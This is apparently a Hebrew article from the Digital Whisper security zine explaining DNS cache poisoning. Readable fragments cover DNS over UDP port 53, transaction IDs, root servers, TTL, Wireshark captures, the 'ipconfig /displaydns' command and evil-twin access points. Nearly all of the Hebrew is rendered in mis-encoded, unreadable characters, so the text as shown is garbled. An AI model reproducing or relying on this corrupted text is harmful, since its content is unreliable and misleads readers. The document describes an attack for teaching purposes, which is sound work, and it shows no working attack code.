˶˸ˣ˧˟ ˸ˣ˧˟˧˦˵˲˞ˢˣ ˸ˣ˧ˡ˧˧ˬˢ ˸˷˶ˢ ˸ˣ˲˵˸ˬˬ ˸˥˞ ˸˞ ˶ˣ˵˯ˮ ˢˤ ˶ˬ˞ˬ˟ - ˸˲˵˸ˬ s-DNS Cache 

Poisoning ˸˲˵˸ˬ ˸ˣ˰˴ˬ˞˟ ˸˷˶ˢ ˸˶ˣ˟˰˸ ˸˞ ˦˶˧˧˪ ˞ˣˢ ,ˢ˧˶ˣ˥˞ˬ ˡˬˣ˰˷ ˭ˣ˧˰˶ˢ .Man In The 

Middle  ˭ˣˠ˩ ˸ˣˮˣ˷ ˸˷˶ ˸ˣ˧˴˪ˣ˲˧ˮˬ ˰˴˟˪ˣPharming x˞ Phising (˸ˣˮˣ˷ ˢ˪ˣ˰˲ ˧˩˶ˡ ˧˸˷˟ ˶˟ˣˡˬ)  ˪˰

ˢ ˪ˣ˵ˣ˦ˣ˶˲˟ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ ˧ˡ˧-DNS ˭ˣˠ˩ ,˷ˬ˸˷ˬˢ ˪˷ ˧˦˶˲ ˰ˡ˧ˬ˪ ˢ˷˧ˠ ˠ˧˷ˢ˪ ˱˵ˣ˸ˢ ˪ˣ˩˧ ˨˩ .

 ...ˡˣ˰ˣ ˧˞˶˷˞ ˯˧˦˶˩ ˧˶˲˯ˬ ˸ˣ˞ˬ˯˧˯ 

DNS Cache Poisoning  ˸ˣˬˣ˷˶ ˸˵˶ˤˢ ˪˰ ˸˯˯˟˸ˬDNS  ˢ˞˶ˮ˷ ˧˲˩) ˫˧˧˵ˣ˥ ˭˧˧ˬˣˡ ˸ˣˬ˷˪ ˸ˣ˟ˤˣ˩

 ,˞ˬˠˣˡ˪ .˸˷˶˟ ˣ˪˷ ˸ˣ˪˧˰˲ˢ ˸˞ ˣ˷˟˷˧ˣ ,˭˟˶ˣ˵ˢ ˪˷ ˭ˣˬ˦ˬˢ ˭ˣ˶˩˧ˤ˟ ˣˮ˯˥ˣ˞˧ ˣ˪˞ ,(˨˷ˬˢ˟ ˭˟˶ˣ˵ˢ

 ˷˪ˣˠ ˞ˣˢ˷ ˥ˣ˦˟ ˢ˧ˢ˧˪ ˫˸ˣ˞ˬ ˢ˞˴ˣ˸˩ ˱˧ˣˤˬ ˶˸˞˪ ˣ˧˦˶˲ ˪˩ ˸˞ ˯˧ˮ˩˧ ˞ˣˢ ˪˰ˣ˲˟ ˨˞ ,ˣ˪˷ ˵ˮ˟ˢ ˶˸˞

 ˶˸˞˪ ˯ˮ˩˧ ,˸ˣ˶˟˥˸ˢˢ ˧˦˶˲ ˸˞ ˥˵˧˧ ˱˵ˣ˸ˢ ,˸˞ˤ ˢ˷˰˧˷ ˰ˠ˶˟ .ˣ˟˷˥ˬ˟ ˫˧˧ˣ˴ˬˢ ˫˧˧ˣˠ˷ ˫˧ˮˣ˸ˮ

.˫˧˪ ˶˟˰ˬ ˭ˣ˟˷˥˪ ˭˟˶ˣ˵ˢ ˪˷ ˣ˲˯˩ ˪˩ ˸˞ ˶˧˟˰˧ˣ ˧˶ˣ˵ˬˢ ˵ˮ˟ˢ 

˭˧˟ˮ ,˶ˬ˞ˬˢ ˨˪ˢˬ˟ ˪ˣ˵ˣ˦ˣ˶˲ ˢˮ˟ˬ ˸˞ s- DNS˸˧ˮˣ˶˵˰ˢ ˢˬ˶˟  ˧˰˴ˬ˞˟ ˭ˣˡˮ .ˣ˧˸ˣ˷˪ˣ˥ ˸˞ ˢ˞˶ˮˣ

ˢ ˭ˣˮˠˮˬ˟ ˢ˦˧˪˷ ˧˩ ˭˧˟ˮ .˫˧ˮ˷ˢ ˨˶ˣ˞˪ ˣ˰˴ˣˢ˷ ˸ˣˬ˞˸ˢ˟ˣ ˫˧˧ˣˮ˧˷˟ˣ ˪ˣ˵ˣ˦ˣ˶˲˟ ˢ˥˦˟˞ˢ-DNS  ˪˷

 ˡ˞ˬ ˵ˤ˥ ˧˪˩ ˞˧ˢ ˭˟˶ˣ˵ˢ ˟˷˥ˬˢ ,˸ˣˮˣ˟˷˥ˣ ˫˧˦˶˲ ˸˟˧ˮˠ ˭˪˪˩˟ˣ ,˸ˣ˟˶ ˸ˣ˲˵˸ˬ˪ ˯˧˯˟ ˶˷˲˞ˬ

˟˷˥ˬ˪ ˢ˵ˤˣˮ ˸˶ˡ˥ˢ  .ˡˣ˰ˣ ˭˟˶ˣ˵ˢ ,˱˯ˣˮ˟ ˧˪˩ ˸˟˧˸˩ ˧"˰ ˢ˲˵˸ˬˢ ˪˷ ˧˶˷˲˞ ˷ˣˬ˧ˬ˪ ˞ˬˠˣˡ ˢ˞˶ˮ

.˭ˣ˸˧˧˲˟  ˸˞ ˶ˠˬ˪ˣ ˸ˣˢˤ˪ ˸ˮˬ ˪˰ ˸ˣ˷˰˪ ˫˧˪ˣ˩˧ ,˫˧˶˸˞ ˧˪˰˟ˣ ˢ˴˵ˢ ˧˷ˬ˸˷ˬ ,ˣˮ˥ˮ˞ ˢˬ ˭˧˟ˮ ,˱ˣ˯˟˪ˣ

.ˢ˲˵˸ˬˢ 

 

ˤ˞ ˨˧˞ ˢˤ ˡ˟ˣ˰? 

ˢ ˪ˣ˵ˣ˦ˣ˶˲-DNS ) ˪˷ ˶ˣ˴˧˵Domain Name Server ( ˸ˮ˷˟ ˞˴ˬˣˢ1983  ˣ˸˶˦ˬ ,˫˧˦ˮˡˣ˦˯ ˧ˮ˷ ˧ˡ˧ ˪˰

 ˸ˣ˟ˣ˸˩ ˶˧ˬ˧˷ ˣ˪ˡˣˠ˟ ˫ˣ˴˰ "˫˧ˮˣ˲˪˦ ˶˲˯" ˭˧˞ˬ ˸ˣˣˢ˪ ˢ˸˧˧ˢIP ) ˭˧˧ˬˣˡ ˸ˣˬ˷˪URL(  ˫ˡ˞ ˧ˮ˟˪ ˪˵ ˶˷˞

ˢ ˸˟ˣ˸˩ ˸˞ ˶ˣ˩ˤ˪ ˨˧˶˴ ˢ˧ˢ ,˫˧ˣ˯ˬ ˸˶˷˪ ˸˷ˠ˪ ˧ˡ˩˟ ,˭˩ ˧ˮ˲˪ .˶ˣ˩ˤ˪-IP ˶˸˞˪ ˸˷ˠ˪ ˧ˡ˩˟ ˪˷ˬ˪ .ˣ˪˷ 

www.digitalwhisper.co.il, :˸˟ˣ˸˩ˢ ˸˞ ˸ˣ˟ˣ˸˩ˢ ˸˶ˣ˷˟ ˷˧˵ˢ˪ ˨˧˶˴ ˢ˧ˢ 5.100.248.67 

 ˧ˮ˩˲ˢˬ ˦˰ˬ˩ ˢ˧ˢ ˭ˣ˧˰˶ˢ ˧˩ ˶ˬˣ˪ ˭˸˧ˮ .˧ˡˬ ˶˸ˣ˧ ˫˧˶ˬˣ˞ ˞˪˷ ˫˧˶˲˯ˬ ˭ˣˬˢ ˶ˣ˩ˤ˪ ˫˧˩˧˶˴ ˣˮ˧˧ˢ ˶ˬˣ˪˩

,ˢ˲ˣ˵˸ ˢ˸ˣ˞˪ .˦ˮ˶˦ˮ˧˞ˢˬ ˡ˶˲ˮ ˧˸˪˟ ˵˪˥ ˢˣˣˢˬ ˣ˟ ˷ˣˬ˧˷ˢ ˤ˞ˬˣ 

http://www.digitalwhisper.co.il/
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 ˶ˣˤ˥˪ ˧˸ˮˣˣ˩˟ ˭˧˞ˢ ˪˰ ˧ˡˬ ˶˸ˣ˧˪˞˧˦˯˵ ˵˧˲˞ ˪˷ ˶ˬ˞ˬ  ˧ˮ˲˪ ˣ˸ˣ˞ ˞ˣ˶˵˪ ˳˧˪ˬˬ ,˭˧ˣ˴ˬ ˶ˬ˞ˬ) ˞˷ˣˮ˟

˪˰ ˦ˣ˶˧˲ ˸˸˪ ˭ˣ˩ˮ˪ ˧˸˞˴ˬ ˨˞ ,(˪ˣ˵ˣ˦ˣ˶˲ˢ ˫˰ ˵˧˲˯ˬ ˫˧˶˩ˣˬ ˫˩ˮ˧˞ ˫˞ ˢˤ ˶ˬ˞ˬ ˭ˣˮˠˮˬ s-Caching 

 .(˪˧˰˶ˢ˪ ˫˧ˮˣˣ˩˸ˬ ˣˮ˞ ˣ˸ˣ˞) 

 ˸˶˷ ˶ˡˠˣˬ ˸˷˶˟ ˸ˣ˷˧ ˪˩˪DNS, ˧˸ˣ˶˧˷ ˭˸ˬ ˪˰ ˧˞˶˥˞ ˢˤ ˸˶˷ .˸˩˧ˣ˷ˬ ˞˧ˢ ˣ˧˪˞DNS   .˸ˣ˷˧ ˢ˸ˣ˞˪

˸ˣ˷˵˟ ˪˩ ˶ˬˣ˪˩ s-DNS ˢ ˸˶˷ .ˣ˧˪˞ ˸ˣ˥˪˷ˮ ˶˧˷˩ˬ ˣ˸ˣ˞ ˪˷-DNS  ˸˞ ˶˧ˤ˥ˬˣ ˸ˣ˷˵˟ˢ ˸˞ ˪˟˵ˬ

 ˸ˣ˸˷˶ ˶ˬˣ˪˩ ,˸ˣ˧ˬ˧ˮ˲ ˸ˣ˸˷˶˟ ˡ˵ˬ˸ˮ ,ˢˤ ˶ˬ˞ˬ˟ .˨˷ˬˢ˟ ˶˟ˡˮ ˣ˧˪˰ ˨˧˪ˢ˸ ˶˥˞˪ ˸˧˶ˬˣˮˢ ˸˟ˣ˸˩ˢ

LAN, .˸ˣ˶˥˞ ˸ˣ˸˷˶˟ ˫ˠ ˢˢˤ ˦˰ˬ˩ ˭˲ˣ˞˟ ˡ˟ˣ˰ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˨˞ 

˫˧˶˧˷˩ˬ ˪˷ ˢ˴ˣ˟˵ ˞˧ˢ ,˸˧ˬ˧ˮ˲ ˸˷˶ ˸˷˶ ˸ˣ˧ˣ˷˧)˸ˣ˧ ,˱˸ˣ˷ˬ˟ ˫˧˧˦ˮ˶˦ˮ˧˞ ˫˧˸ˣ˶˧˷ ˫˧˵˪ˣ˥ ˶˷˞ ,(

˟˸ˮˢ ˫˧˪˪˩ˮ ˫ˢ˧ˮ˧˟ )s-Gateway ˧˸˶˷ ,(DHCP ˧˸˶˷ ,˸˧ˮˣ˴˧˥ ˸˟ˣ˸˩ ,DNS ...ˡˣ˰ˣ 

 ˸˟ˣ˸˩ ˸ˬ˧˧˵ ˸˞ˤ˩ ˸˷˶ ˸ˣ˷˧ ˪˩˪IP ) ˸˧ˤ˧˲ ˸˟ˣ˸˩ˣ ˸˧ˬ˧ˮ˲Mac Address (˪ ˸˧ˡˣ˥˧˧ˢ ˸ˣ˪˧ˡ˟ˬ ˣ˪˞ ,

 .˧ˮ˷ˢ ˫˰ ˡ˥˞ ˸˷˶ˢ ˧˶˧˷˩ˬ ˫˧˶˷˵˸ˬ ,˸˞ˤ ˸˟ˣ˸˩ ˸ˣ˰˴ˬ˞˟ .˫˧˶˟ˣ˥ˬˢ ˫˧˶˧˷˩ˬˢ ˶˞˷ ˪˩ˬ ˢ˸ˣ˞

˞ ˶˷˞˩ ˸˸˪˧˞˷ ˸˥˪˷ˮ ,˭˲ˡ˲ˡ˟ ˷ˣ˲˧˥ ˫˧˰˴˟ˬ ˣˮDNS ˢ ˸˶˷˪-DNS  .˟˸ˮˢ ˣˢˤ ˸ˣ˸˷˶ˢ ˟ˣ˶˟ ,ˣˮ˪˷ 

 ˶˸˞ˢ ˫˰ ˶˷˵˸˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˞ ˶˷˞˩ ,˞ˬˠˣˡ˪www.digitalwhisper.co.il,  ˸˦˵˞˲ ˸˥˪˷ˮDNS  ˪˞

ˢ ˸˶˷-DNS ˣˮ˪˷, ˢˬˣ˷˶ ˸˞ ˪˟˵˪ ˢ˷˵˟˟ A˶˲ . ˪ˣ˵ˣ˦ˣDNS  ˪ˣ˵ˣ˦ˣ˶˲ ˧˟ˠ ˪˰ ˳˶UDP ˦˶ˣ˲˟53 

 ˪˰ˬ ,˸ˣ˪ˣˡˠ ˡ˞ˬ ˸ˣ˦˵˞˲ ˦˰ˬ˪)512 ˣ˪˞ .˫˧˦˧˧˟  ˧˟ˠ ˪˰ ˸ˣ˥˪˷ˮTCP ˣ˸ˣ˞ ˢ˩ˤˬ ˡ˥˞ ˡ˴ˬ˷ ˶˟ˡ ,(

 ˪ˣ˵ˣ˦ˣ˶˲˟ .˥˦˟ˣ˞ˬ ˸ˣ˥˲ ˢ˟˶ˢ˪ ˣ˸ˣ˞ ˨˲ˣˢ ˡˠˮˬ ˨˞ ,˸ˣ˶˧ˢˬ˟ˣ ˸ˣ˧ˡ˧˧ˬ˟UDP  ˸˥˧˪˷ ˪˰ ˸ˣˬ˧˞ ˭˧˞

 ˫˞ˢ ˸˰ˡ˪ ˢ˧˴˵˧ˡˮ˧˞ ˫ˣ˷ ˭˧˞ ˥˪ˣ˷˪ ˶ˬˣ˪˩ ,˸ˣ˦˵˞˲ ˸˰ˠˢˣˢ˪˧˟˥ˢ ˰˧ˠˢ s ˢˬ˷ ˣ˞ ,˫ˣ˪˷˟ ˢˡ˰˧˪

.˸˲˯ˣˮ ˸˥˞ ˥ˣ˪˷˪ ˣ˧˪˰ 

ˢ ˪ˣ˵ˣ˦ˣ˶˲˷ ˸ˮˬ ˪˰-DNS ˫ˣ˧ˣ ˶˧ˢˬ ˢ˧ˢ˧- ˦˰ˬ˩˷ ˶ˬˣ˪ ˭˸˧ˮ ,ˢˢˣ˟ˠ ˢ˥˦˟˞˟ ˡ˧˧ˣ˴ˬ ˣˮ˧˞ ˞ˣˢ ,˧ˬˣ˧

 ˸˦˵˞˲ ˪˩˪ .˞˪ ˪˪˩˟DNS  ˶˲˯ˬ ˷˧ID ˡˣˠ˟ ˪2  ˪˷ ˥ˣˣ˦˟ ˶ˬˣ˪˩ ,˫˧˦˧˧˟0  ˡ˰65535 ˧˶˥˞ ˢˤ ˶˲˯ˬ .

ˢ ˸ˣ˟ˣ˷˸ ˸ˣˬ˧˞ ˪˰-DNS.  ˶˲˯ˬ ˣ˸ˣ˞ ˸˞ ˪˧˩ˢ˪ ˢ˟ˣ˷˸ˢ ˪˰ID ˢ ˸˸˪˧˞˷˟ ˣˬ˩-DNS ˪˧˩ˬ ˞ˣˢ ˫˞ .

.˪˟˵˸˸ ˞˪ ˢ˟ˣ˷˸ˢ ,ˢˮˣ˷ ˶˲˯ˬ 

  

https://www.digitalwhisper.co.il/files/Zines/0x02/DW2-7-DNS-Cache-Poisoning.pdf
http://www.digitalwhisper.co.il/
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 ˣ˥˸˲Wireshark ˣ˶ˤ˧˥ .˶˸˞ ˣˢ˷ˤ˧˞˪ ˣ˯ˮ˩˧ˢˣ ˭˲ˡ˲ˡˢ ˸˞ ˣ˥˸˧˲ ˨˩ ˶˥˞ .ˢ˷ˡ˥ ˢ˲ˮ˯ˢ ˣ˪˧˥˸ˢˣ ˪-

Wireshark-  ˣ˷˧˵ˢ .ˢ˲ˮ˯ˢˢ ˸˞ ˣ˶˴˰ˣ"DNS" :˫˧˶˦˪˧˲ˢ ˸˶ˣ˷˟ 

 

:˸ˣ˸˪˧˞˷ˢˬ ˸˥˞˪ ˣ˯ˮ˩˧ˢ 

 

ˢ˥˪˷ˮ ˢ˦˵˞˲ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˪-Dst Port:53,  ˪ˣ˵ˣ˦ˣ˶˲ ˧˟ˠ ˪˰UDP ˸˶˸ˣ˩ˢ ˸˥˸ .ˢ˪˰ˬ˪ ˶˞ˣ˸ˬ˩ ,

Domain Name System, ˢ ˶˲˯ˬ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ-ID. :ˣˮ˪˷ ˢ˶˵ˬ˟ ID 0x422e Transaction ˶ˬˣ˪˩ .

˶˲˯ˬ s-ID  ˞ˣˢ ˣˮ˪˷ ˢ˶˵ˬ˟16942.  ˸ˬˣ˷˶ ˸˞ ˪˟˵˪ ˸˷˵˟ˬ ˸˞ˤ ˢ˸˪˧˞˷A ˢ ˸˶˷ˬ-DNS ˢˬˣ˷˶ .

A ˢ ˸˟ˣ˸˩ ˸˞ ˢ˵˧ˤ˥ˬ-IP ,˸ˣ˟˶ ˫˧ˬ˰˲ .˭˧˧ˬˣˡˢ ˪˷ ˢ ˸˶˷˪-DNS  ˸ˣˬˣ˷˶ .˸ˣ˶˥˞ ˸ˣˬˣ˷˶ ˫ˠ ˸ˣˬ˧˧˵

:˭ˢ ˸ˣ˴ˣ˲ˮ 

¶ MX - ˢˬˣ˷˶ ˢ˪˧˩ˬˢ ˸˞ ˸˟ˣ˸˩ ˸˶˷ˢ ˷ˬ˷ˬˢ ˸˞ ˭˧˧ˬˣˡˢ ˸˪˟˵˪ ˞ˣˡ"˪. 

¶ NS - ˢˬˣ˷˶ ˸ˮ˧˧˴ˬˢ ˸˶˷ ˶˷˞ ˧˞˶˥˞ ˪˰ ˸˶˧˯ˬ ˰ˡ˧ˬ ˪˰ ˭˧˧ˬˣˡˢ ˷˵ˣ˟ˬˢ. 

¶ CNAME - ˫˷ ˱˯ˣˮ ˣ˸ˣ˞˪ ˭˧˧ˬˣˡˢ ")Canonical Name(" 

¶ ˡˣ˰ˣ... 
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?ˢ˟ˣ˷˸ ˣˮ˪ ˶˧ˤ˥ˢ˪ ˰ˡˣ˧ ˸˶˷ˢ ˨˧˞ ˤ˞ ˢ ˸˶˷ ˶˷˞˩-DNS  ˢ˪˰˲ˢˢ ˸˩˶˰ˬˬ ˢ˸˪˧˞˷ˢ ˸˞ ˪˟˵ˬ

.˸˟ˣ˸˩ ˣˮ˪ ˶˧ˤ˥˧ ˣ˲ˣ˯˟˷ ˨˧˪ˢ˸ ˰ˣ˴˧˟˟ ˪˧˥˸ˬ ˞ˣˢ ,ˣˮ˪˷  ˸˶˷ ˸˧˷˞˶-sDNS  ˸˟ˣ˸˩ˢ ˫˞ ˵ˡˣ˟

) ˭ˣˬ˦ˬ˟ ˶ˬˣ˪˩ ,ˣ˧˸ˣˬ˧˷˶˟ ˸ˬ˧˧˵ ˸˷˵ˣ˟ˬˢCache ,˭˩ ˫˞ .(˨˷ˬˢ˟ ˦ˣ˶˧˲, .ˢ˟ˣ˷˸ ˣˮ˪ ˶˧ˤ˥ˬ ˞ˣˢ  ˨˞

 ,˧˟˧˯˶ˣ˵˶ ˪ˣ˞˷˸ ˨˧˪ˢ˸˟ ˪˧˥˸ˬ ˞ˣˢ ,˸˶˷ˢ ˪˷ ˭ˣˬ˦ˬˢ ˸ˣˬ˧˷˶˟ ˸ˬ˧˧˵ ˞˪ ˣˮ˷˵˧˟˷ ˸˟ˣ˸˩ˢ ˫˞

.ˣ˧˪˰ˬ˷ ˫˧˸˶˷ˢ ˸˞ ˪˞˷˸˧ˣ 

ˢ ˸˶˷˪ ˫˞-DNS ˸˷˵ˣ˟ˬˢ ˸˟ˣ˸˩ˢ ˸˞ ˭˧˞ ˧˸˶˷ˬ ˡ˥˞˪ ˢˮ˲˧ ˞ˣˢ ,ˢˬˣ˷˶˟ s-root servers  ˶˷˞

˧˸˶˷ .˭ˣ˶˩˧ˤ˟ ˣ˪ ˸ˣ˶ˣˬ˷ ˫˸˟ˣ˸˩ s-root  ˫˧˵˪ˣ˥ ˶˷˞ ˯ˣ˟ˣ˪ˠˢ ˧˟˥˶˟ ˫ˣ˴˰ ˫˧˸˶˷ ˱˯ˣ˞ ˫ˢ13 

 ˷˧ ˫ˮˬ˞ ,˟˪ ˣˬ˧˷) ˸ˣ˟ˣ˸˩13  ˸ˣˬˣ˷˶ ˫˧˵˧ˤ˥ˬ ˣ˪˞ .(ˢ˟˶ˢ˟ ˢˣ˟ˠ ˫˧˸˶˷ˢ ˶˲˯ˬ ˫˪ˣ˞ ,˸ˣ˟ˣ˸˩

˪˷ ˸ˣ˧˵ˮ˰ ˪˰ ˫˧˞˶˥˞ˢ ˫˧˸˶˷ ˣ˪˞) ˸ˣˬˣ˧˯  ˧˸˶˷ ˫˧˞˶˵ˮTLD ˪˷ˬ˪ ,(gov ,com ,edu ...'ˣ˩ˣ  

 ˭˧˧ˬˣˡˢ ˧˟ˠ˪ ˢ˸˪˧˞˷ ˥˪˷ˮ ˶˷˞˩ ,˪˷ˬ˪www.whatever.com. ˢ ˸˶˷-DNS  ˢ˸˪˧˞˷ ˥˪˷˧ ˣˮ˪˷

ˢ ˧˸˶˷ˬ ˡ˥˞˪-rootˢ ˸˶˷ ,˶ˬˣ˪˩ ,˧˟˧˦˶˦˧˞ ˢ˧ˢˮ ˨˧˪ˢ˸ˢ ˭˞˩ .-root  ˸˞ ˶˧˩ˬ ˧ˮˮ˧˞ ":ˢ˟ˣ˷˸ ˶˧ˤ˥˧

www.whatever.com ˪˰ ˧˞˶˥˞˷ ˧ˬ ˸˞ ˶˧˩ˬ ˧ˮ˞ ˪˟˞ ,com,  ˪ˣ˞˷˪ ˭ˬˤˣˬ ˢ˸˞ ,ˣ˪˷ ˸˟ˣ˸˩ˢ ˢˮˢ

."ˣ˸ˣ˞ 

ˢ ˸˶˷ ˢˮ˲˧ ,˸˰˩-DNS  ˸ˬˣ˧˯˟ ˵˧ˤ˥ˬ ˶˷˞ ˸˶˷˪ ˣˮ˪˷com, ˸˞ ˶˧˩ˬ ˞ˣˢ ˫˞ˢ ˣ˸ˣ˞ ˪˞˷˧ˣ 

www.whatever.com ˸˶˷ˢ .com ˧˟˧˦˶˦˧˞) ˢ˟ˣ˷˸ ˶˧ˤ˥˧:˸(  ˸˞ ˶˧˩ˬ ˧ˮˮ˧˞"www.whatever.com ,

 ˪˰ ˧˞˶˥˞˷ ˧ˬ ˸˞ ˶˧˩ˬ ˧ˮ˞ ˪˟˞whatever.com, ."ˣ˸ˣ˞ ˪ˣ˞˷˪ ˭ˬˤˣˬ ˢ˸˞ ,ˣ˪˷ ˸˟ˣ˸˩ˢ ˢˮˢ 

˶ˣ˵˶ ˨˧˪ˢ˸ˬ ˢˮˣ˷˟ :˟˪ ˣˬ˧˷ ˸˶˷ ,˧˟˧˯com  ˸˞ ˪˞˷˸˧ ˞˪whatever.com  ˸˞ ˥˪˷˧ ˞ˣˢ ˞˪˞ ,ˣˬ˴˰˟

˭ˢ˧ˮ˧ˬ˪ ˸ˣ˶˧˷ ˸˰˧ˮˬ ˸ˣ˲˵˸ˢ ˧ˮ˲ˬ ˭ˠˣˬ ˞ˣˢ ˨˩ .ˣ˪˷ ˸˟ˣ˸˩ˢ ) ˭ˣˠ˩DNS Amplification ,(˨˞ ˶˟˩ ˢˤ 

˞˷ˣˮ  ˶˥˞ ˶ˬ˞ˬ˪J. ˸˪˧˞˷ ˥˪˷˧ ˣˮ˪˷ ˸˶˷ˢ ˸˰˩ ˪s-whatever.com ˶˷˵˟ ˪-subdomain www. 

ˢ ˸˶˷ ˱ˣ˯˟˪ .˸˟ˣ˸˩ˢ ˸˞ ˣ˪ ˶˧ˤ˥˧ ˢˤˣ-DNS ˸˟ˣ˸˩ ˸˞ ˭˲ˡ˲ˡ˪ ˶˧ˤ˥˧ s-IP  ˢˬˣ˷˶)A ( ˭˧˧ˬˣˡˢ ˪˷

www.whatever.com. 

˪ ˶ˣˤ˥ˮ-wireshark ˸˞ ˣ˥˸˲ ˸˰˩ .˸˪˧˟˥ :ˢ˟ˣ˷˸ˢ 

 

 ˧˩ ˸ˣ˞˶˪ ˭˸˧ˮ˸˪˧˟˥  ˶˲˯ˬ ˣ˸ˣ˞ ˵ˣ˧ˡ˟ ˢ˟ˣ˷˸ˢTransaction ID˧ˢˣ .ˢ ˸˶˷ˬ ˢ˥˪˷ˮ ˞˧ˢ˷ ˸ˣ-DNS, 

ˢ ˤ˞-Source Port  ˞ˣˢ ˢ˪˷53ˢ ˪ˣ˵ˣ˦ˣ˶˲ ˧˟ˠ ˪˰ ˢ˥˪˷ˮ ˞˧ˢˣ ,-UDP.  

http://www.whatever.com/
http://www.whatever.com/
http://www.whatever.com/
http://www.whatever.com/
http://www.whatever.com/
http://www.whatever.com/
http://www.whatever.com/
http://www.whatever.com/
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.˶˸˞ˢ ˫˰ ˶ˣ˟˧˥ ˶˴˧˧ ˞ˣˢ ˢ˟ˣ˷˸ ˭˲ˡ˲ˡˢ ˪˟˧˵˷ ˶˥˞˪ ˵˶  ˞ˣˢ ,ˢ˟ˣ˷˸ˢ ˸˞ ˪˟˧˵ ˟˷˥ˬˢ˷ ˶˥˞˪

˭ˣˬ˦ˬ˟ ˢ˸ˣ˞ ˭˯˩˞ˬ )Cache ˸˟ˣ˸˩ˢ ˸˞ ˷˲˥˧ ˷ˬ˸˷ˬˢ˷ ˢ˞˟ˢ ˫˰˲˟˷ ˬ"˰ ,(

www.digitalwhisper.co.il , ˶ˣ˴˧˧ˣ ,˭ˣˬ˦ˬˢˬ ˢˬˣ˷˶ˢ ˸˞ ˞˧˴ˣ˧ ˟˷˥ˬˢ ,˷˶ˡ˧˧ ˞˪ ˪"ˮˢ ˨˧˪ˢ˸ˢ ˪˩

.ˢˬˣ˷˶˟ ˸˞˴ˬˮˢ ˸˟ˣ˸˩ˢ ˲"˰ ˶ˣ˟˧˥ 

) ˢˡˣ˵˲ˢ ˸˶ˣ˷˟ ˣ˷˧˵ˢ ,˫˩˪˷ ˭ˣˬ˦ˬˢ ˭˩ˣ˸ ˸˞ ˸ˣ˞˶˪ ˧ˡ˩˟Command Line:( 

i pconfig  /display  dns  

 ˪˷ ˢˬˣ˷˶ˢ ˢˮˢˣwww.digitalwhisper.co.il: 

 

 ˢˡ˷ ˷˧ ,ˢ˟ˣ˷˸ ˸˦˵˞˲ ˪˩˪Time To Live  ˶ˣ˴˧˵˟ ˣ˞TTL,  ,ˢ˲˵˸ ˢ˟ˣ˷˸ˢ ˭ˬˤ ˢˬ˩ ˭˧˧˴ˬ ˢˤ ˢˡ˷

 ˸˞ ˟ˣ˷ ˷˧˵˧ ˷ˬ˸˷ˬˢ ˶˷˞˩ˣ ,˭ˣˬ˦ˬˢˬ ˢˬˣ˷˶ˢ ˸˞ ˵˥ˬ˧ ˟˷˥ˬˢ ,˭˧ˣ˴ˬˢ ˭ˬˤˢ ˶˟˰˷ ˶˥˞˪

ˢ˪ ˶ˣˤ˥˪ ˫˧ˮˬˤˣˬ) ˢ˷ˡ˥ ˢ˸˪˧˞˷ ˥˪˷˸ ,˸˟ˣ˸˩-wireshark ˢ ˢˡ˷ ˸˞ ˞ˣ˴ˬ˪ˣ-TTL  ˸˦˵˞˲˟

 .(ˢ˟ˣ˷˸ˢ 

 

  

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
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˶ˣ˞˧˸ ˭˲ˣ˞ ˢ˲˵˸ˬˢ 

 .ˢ˲˵˸ˬˢ ˭˲ˣ˞˟ ˭ˣˡ˪ ˭˸˧ˮ ,˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˷ ˸˧˯˧˯˟ ˢˮ˟ˢ ˣˮ˪ ˷˧ ˶˷˞˩ ,˸˰˩DNS Cache Poisoning ,

˭ˣˬ˦ˬ ˸˪˰˶ˢ ,˞˧ˢ ˭˩ ˢˬ˷˩ s-DNS ˪˷ ˭ˣˬ˦ˬˢ ˸ˣˬˣ˷˶ ˸˞ ˪˧˰˶ˢ˪ ˞˧ˢ ˢ˲˵˸ˬˢ ˸˶˦ˬ ˶ˬˣ˪˩ .

 ˸ˣ˟ˣ˸˩˪ ˫˧˧˵ˣ˥ ˭˧˧ˬˣˡ ˸ˣˬ˷ ˨˧˧˷˪ ˶ˬˣ˪˩ ,˭˟˶ˣ˵ˢIP .˸ˣ˧ˮˣˡˤ 

 ˡˣ˰ ˢ˲˵˸ˬ˪ ˫˪ˣ˞ .˸˧ˬ˧ˮ˲ ˸˷˶ ˢ˸ˣ˞˟ ˭˟˶ˣ˵ˢˣ ˱˵ˣ˸ˢ ˭ˢ˟ ˸ˣ˲˵˸ˬ˟ ˭ˣˡˮ ,˸ˣ˶˧ˢ˟ˣ ˸ˣ˦˷˲ ˨˶ˣ˴˪

˶ˣ˵ˢ ˧˸ˬ ˸ˣˢˤ˪ ˱˵ˣ˸ˢ ˪˰ .˭˪ˣ˩˟ ˢˬˣˡ ˭ˣ˶˵˧˰ˢ ˨˞ ,˸ˣ˧˴˞˧˶ˣ ˪˪˷ˢ ˸˶˷˪ ˸ˣ˸˪˧˞˷ ˥˪ˣ˷ ˭˟-DNS  ˣ˪˷

 ˭˧˧ˮˣ˰ˬ ˱˵ˣ˸ˢ ˣ˸ˣ˞ ˭˧˧ˬˣˡ˪ ˸˩˧˧ˣ˷ˬˢ ˸˧ˮˣˡˤ ˸˟ˣ˸˩ ˪˧˩˸˷ ˨˩ ,˸˶˷ˢˬ ˸˶ˤˣ˥ˢ ˢ˟ˣ˷˸ˢ ˸˞ ˱˧˧ˤ˪ˣ

ˢ ˸˶˷˪ ˱˵˸ˮˢ ˭˧˟ ˢ˶ˣ˟˰˸ˢ ˸˞ ˦˶˧˧˪ ˱˵ˣ˸ˢ ˪˰ ,ˢˤ ˪˧˟˷˟ˣ .˱˧˧ˤ˪-DNSˢ ˸ˣ˦˵˞˲˷ ˨˩ .-DNS  ˣ˶˟˩˧

.ˣ˩˶ˡ  ˸ˣ˲˵˸ˬ :˫˧˩˶ˡ ˢˬ˩˟ ˸ˣ˷˰˪ ˭˸˧ˮ ˢˤ ˸˞Fake AP ˭ˢ˧ˮ˧ˬ˪ ) ˭ˣˠ˩evil twin attack ( ˸ˣ˰˴ˬ˞˟ ˣ˞

) ˨ˣˣ˸˟ ˫ˡ˞ ˸ˣ˲˵˸ˬMITM.( 

